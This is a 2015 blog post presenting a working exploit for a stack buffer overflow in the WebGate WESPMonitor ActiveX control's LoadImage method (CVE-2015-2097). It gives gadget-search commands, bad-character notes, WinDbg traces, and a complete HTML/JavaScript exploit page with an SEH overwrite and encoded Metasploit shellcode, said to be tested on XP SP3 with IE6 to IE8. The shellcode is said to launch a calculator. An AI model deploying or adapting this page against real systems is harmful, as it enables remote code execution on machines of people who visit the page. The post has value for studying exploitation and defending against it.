Wednesday, March 25, 2015

WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl LoadImage Stack Buffer Overflow Remote Code Execution (CVE-2015-2097)


WEBGATE Embedded Standard Protocol (WESP) SDK has multiple Remote Code Execution Vulnerabilities in different ActiveX controls.

Use below mona command to find pop pop ret address which creates findwild.txt at C:\Program Files\Immunity Inc\Immunity Debugger
!mona findwild -s "pop r32#*#pop r32#*#ret"

Snip of findwild.txt (addresses which I tried to use)
0x10079740 : pop esi # xor al,al # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x100580bd : pop ebp # pop ebx # mov dword ptr fs:[0],ecx # add esp,34 # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x1007973e : pop ebx # retn # pop esi # xor al,al # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x1001a561 : pop ebp # mov byte ptr ds:[edx+c],1 # mov al,1 # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x10014771 : pop ebx # pop ebp # retn | ascii {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x7c915242 : pop edi # pop esi # pop ebx # pop ebp # retn |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)

I was trying to pick calc.exe shellcode from previous exploits which somehow didn't work, might be due to presence of bad characters (assuming) so ended up in generating payload using Metasploit.


To Make sure we are pointing to shellcode modify nseh = "\xeb\x10\x90\x90"
to nseh = "\xcc\xcc\xeb\x10";
where \xcc is an opcode which acts as breakpoint.

Following "pop pop ret" address always getting modified to a different address and seeing below error in WinDBG.
0013df5c: WESPMonitor!CxImage::`copy constructor closure'+13d20 (10073f40)

0x10079740 changes to 0x10073f40
0x100580bd changes to 0x10053fbd
0x1007973e  changes to  0x10073f3e
0x7c915242  changes to  0x7c3f5242 in ntdll

After few trial and error method found below address which doesn't have problem mentioned above might be due to the bad character issue where application is considering \x80 to \x9f as bad!
0x1001a561
0x10014771
Bad characters might cause issues while executing shellcode, those characters can be found using below technique.
http://blog.disects.com/2014/04/exploitation-identifying-bad-characters.html

>u 10079740 
10079740 5e              pop     esi
10079741 32c0            xor     al,al
10079743 5b              pop     ebx
10079744 c3              ret

Final Exploit

<html>
<!--
targetFile = "C:\Windows\System32\WESPSDK\WESPMonitor.dll"
prototype  = "Sub LoadImage ( ByVal bstrFullPath As String )"
memberName = "LoadImage"
progid     = "WESPMONITORLib.WESPMonitorCtrl"
argCount   = 1
-->

<object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'>
</object>
<script>
var arg1 = "";
nops = "";
var buff = "";

for(i=0;i<268;i++)
{
 arg1 += "B";
}

nseh = "\xeb\x10\x90\x90";  //jmp over addr
seh = "\x71\x47\x01\x10";  //pop pop ret addr
document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>");

for(i=0;i<200;i++)
{
 nops += "\x90";
}

//bad cahrs = 80,82-89, 8a 8b 8c, 8e, 91-99, 9a 9b 9c 9e 9f
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";

for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++)
{
 buff += "A";
}

// [ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ]
fbuff = arg1 + nseh + seh + nops + sc  + buff;
target.LoadImage(fbuff);

</script>
</html>

Below is the stack trace at first point exception
(33c.6d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000f41 ebx=001b012c ecx=020fe0b1 edx=02100000 esi=020fd218 edi=00001f42
eip=1004ae5b esp=020fd218 ebp=020ff280 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
*** WARNING: Unable to verify checksum for C:\WINDOWS\System32\WESPSDK\WESPMonitor.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\System32\WESPSDK\WESPMonitor.dll - 
WESPMonitor!DllUnregisterServer+0x2094b:
1004ae5b 8802            mov     byte ptr [edx],al          ds:0023:02100000=4d
0:008> !exchain
020ff274: WESPMonitor!CAudioRenderer::CloseAudio+11a61 (10014771)
Invalid exception stack at 909010eb
0:008> d fs:[0]
003b:00000000  74 f2 0f 02 00 00 10 02-00 00 0f 02 00 00 00 00 t...............
003b:00000010  00 1e 00 00 00 00 00 00-00 50 fd 7f 00 00 00 00 .........P......
003b:00000020  3c 03 00 00 d8 06 00 00-00 00 00 00 00 00 00 00 <...............
003b:00000030  00 e0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  70 98 8e e1 00 00 00 00-00 00 00 00 00 00 00 00 p...............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:008> u 10014771
WESPMonitor!CAudioRenderer::CloseAudio+0x11a61:
10014771 5b              pop     ebx
10014772 5d              pop     ebp
10014773 c3              ret
0:008> d 020ff274
020ff274  eb 10 90 90 71 47 01 10-90 90 90 90 90 90 90 90  ....qG..........
020ff284  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff294  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2a4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2b4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2c4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2d4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2e4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

If you continue execution after first chance exception we will be greeted with a calculator :-)

This exploit is tested on Windows XP SP3 with IE6, IE7 and IE8.
This is tested and successfully executed when DEP is enabled.

This post is incomplete if I don't thank Peter Van Eeckhoutte aka corelanc0d3r.

Next, DEP bypass!!